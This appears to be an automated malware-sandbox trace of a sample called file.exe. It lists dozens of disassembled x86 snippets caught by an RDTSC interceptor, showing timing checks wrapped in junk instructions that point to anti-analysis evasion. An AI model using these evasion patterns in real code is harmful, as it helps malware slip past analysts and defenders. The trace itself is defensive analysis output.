Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68301A second address: 6830D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF046h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push eax 0x0000000d call 00007FF8A11CF03Dh 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 pop ebx 0x00000016 call 00007FF8A11CF049h 0x0000001b mov di, bx 0x0000001e pop ebx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007FF8A11CF038h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b mov ebx, edi 0x0000003d movsx ebx, dx 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007FF8A11CF038h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 0000001Ah 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c jmp 00007FF8A11CF03Eh 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 jl 00007FF8A11CF043h 0x0000006a jmp 00007FF8A11CF03Dh 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6840D7 second address: 684106 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FF8A119817Fh 0x0000000c nop 0x0000000d stc 0x0000000e push 00000000h 0x00000010 pushad 0x00000011 sub si, D600h 0x00000016 popad 0x00000017 push 00000000h 0x00000019 clc 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jl 00007FF8A1198178h 0x00000023 push eax 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 684FEE second address: 685035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx ebx, cx 0x0000000c jmp 00007FF8A11CF03Eh 0x00000011 push 00000000h 0x00000013 mov ebx, dword ptr [ebp+122D2F2Eh] 0x00000019 and edi, 15C24128h 0x0000001f push 00000000h 0x00000021 js 00007FF8A11CF036h 0x00000027 xchg eax, esi 0x00000028 push edi 0x00000029 jno 00007FF8A11CF038h 0x0000002f pop edi 0x00000030 push eax 0x00000031 jbe 00007FF8A11CF040h 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 63302C second address: 633032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 688452 second address: 688458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 688458 second address: 68845E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62C485 second address: 62C49E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF045h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62C49E second address: 62C4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A119817Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62C4B3 second address: 62C4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62C4B7 second address: 62C4C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62C4C3 second address: 62C4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF8A11CF036h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62C4CD second address: 62C4D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62C4D3 second address: 62C4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62C4DF second address: 62C4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F5B1 second address: 68F5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F5B5 second address: 68F5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F5B9 second address: 68F5E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF8A11CF043h 0x0000000f jmp 00007FF8A11CF03Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F5E1 second address: 68F5FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A1198180h 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F5FF second address: 68F632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF047h 0x00000007 pushad 0x00000008 jo 00007FF8A11CF036h 0x0000000e jmp 00007FF8A11CF041h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F7CF second address: 68F7D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F7D4 second address: 68F7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF8A11CF036h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F7E0 second address: 68F7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F7E9 second address: 68F7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F7FB second address: 68F81A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FF8A11981ABh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A119817Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68F81A second address: 68F81E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 680409 second address: 68040E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6814CA second address: 6814D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6814D0 second address: 6814D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 682305 second address: 68230E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68519E second address: 6851A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6851A3 second address: 6851FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007FF8A11CF036h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FF8A11CF038h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov dword ptr [ebp+12452ABCh], edi 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov eax, dword ptr [ebp+122D1625h] 0x00000041 mov bx, BAD0h 0x00000045 push FFFFFFFFh 0x00000047 mov edi, 6853EBD1h 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jc 00007FF8A11CF038h 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 686148 second address: 68614C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 68614C second address: 686152 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6952FE second address: 695304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 695304 second address: 695308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 695308 second address: 695357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF8A1198189h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 push ecx 0x00000014 jmp 00007FF8A119817Bh 0x00000019 pop ecx 0x0000001a pop ecx 0x0000001b mov eax, dword ptr [eax] 0x0000001d jne 00007FF8A119817Eh 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 695357 second address: 69535B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69535B second address: 695361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69A5D1 second address: 69A5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69A755 second address: 69A75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69A75A second address: 69A766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007FF8A11CF036h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69A766 second address: 69A76A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69AA43 second address: 69AA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Eh 0x00000009 jmp 00007FF8A11CF045h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF8A11CF03Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69ADEE second address: 69AE08 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF8A119817Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69AE08 second address: 69AE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69AE0E second address: 69AE14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69AE14 second address: 69AE29 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jc 00007FF8A11CF036h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69AE29 second address: 69AE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69AFAD second address: 69AFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF8A11CF036h 0x0000000a popad 0x0000000b popad 0x0000000c js 00007FF8A11CF068h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FF8A11CF036h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69AFC9 second address: 69AFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69B13C second address: 69B148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69FD3D second address: 69FD47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69FD47 second address: 69FD84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF8A11CF040h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jnl 00007FF8A11CF036h 0x00000019 pop ebx 0x0000001a jmp 00007FF8A11CF042h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A004E second address: 6A005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jo 00007FF8A1198176h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A005B second address: 6A0067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FF8A11CF036h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0067 second address: 6A0075 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0364 second address: 6A036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A050D second address: 6A0513 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0AC2 second address: 6A0AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 ja 00007FF8A11CF036h 0x0000000f pop edi 0x00000010 pop ecx 0x00000011 push ecx 0x00000012 push esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0C12 second address: 6A0C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0C17 second address: 6A0C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11CF040h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0D6B second address: 6A0D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0D70 second address: 6A0D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FF8A11CF036h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0D7C second address: 6A0D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0D80 second address: 6A0DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FF8A11CF049h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 jmp 00007FF8A11CF047h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A0DCB second address: 6A0DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1222 second address: 6A1227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A1227 second address: 6A122F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A122F second address: 6A1235 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69F9E7 second address: 69F9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 69F9F1 second address: 69FA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FF8A11CF044h 0x0000000b popad 0x0000000c jmp 00007FF8A11CF046h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A4441 second address: 6A4462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FF8A1198178h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FF8A1198181h 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AAF70 second address: 6AAF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF8A11CF036h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AAF7D second address: 6AAF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jng 00007FF8A1198180h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62A8FC second address: 62A916 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FF8A11CF036h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62A916 second address: 62A91C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62A91C second address: 62A947 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8A11CF03Ch 0x00000008 jng 00007FF8A11CF036h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FF8A11CF036h 0x00000016 jmp 00007FF8A11CF045h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 62A947 second address: 62A94B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6A9DBA second address: 6A9DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A11CF045h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AA1C2 second address: 6AA1C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AA662 second address: 6AA69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Bh 0x00000009 jmp 00007FF8A11CF047h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007FF8A11CF036h 0x00000017 jmp 00007FF8A11CF03Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AA69E second address: 6AA6DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198187h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF8A1198187h 0x00000014 jnp 00007FF8A1198176h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AACE4 second address: 6AACFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF043h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AACFB second address: 6AAD0F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FF8A119818Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AAD0F second address: 6AAD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AF912 second address: 6AF929 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198176h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FF8A1198182h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6AF929 second address: 6AF933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF8A11CF036h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67552F second address: 67555F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 add dword ptr [esp], 5A4C390Fh 0x0000000d mov dword ptr [ebp+12476CD0h], ebx 0x00000013 mov ecx, dword ptr [ebp+122D35E9h] 0x00000019 call 00007FF8A1198179h 0x0000001e push eax 0x0000001f push edx 0x00000020 js 00007FF8A119817Ch 0x00000026 jnc 00007FF8A1198176h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67555F second address: 675593 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a jmp 00007FF8A11CF045h 0x0000000f pop ebx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF8A11CF03Eh 0x0000001b rdtsc
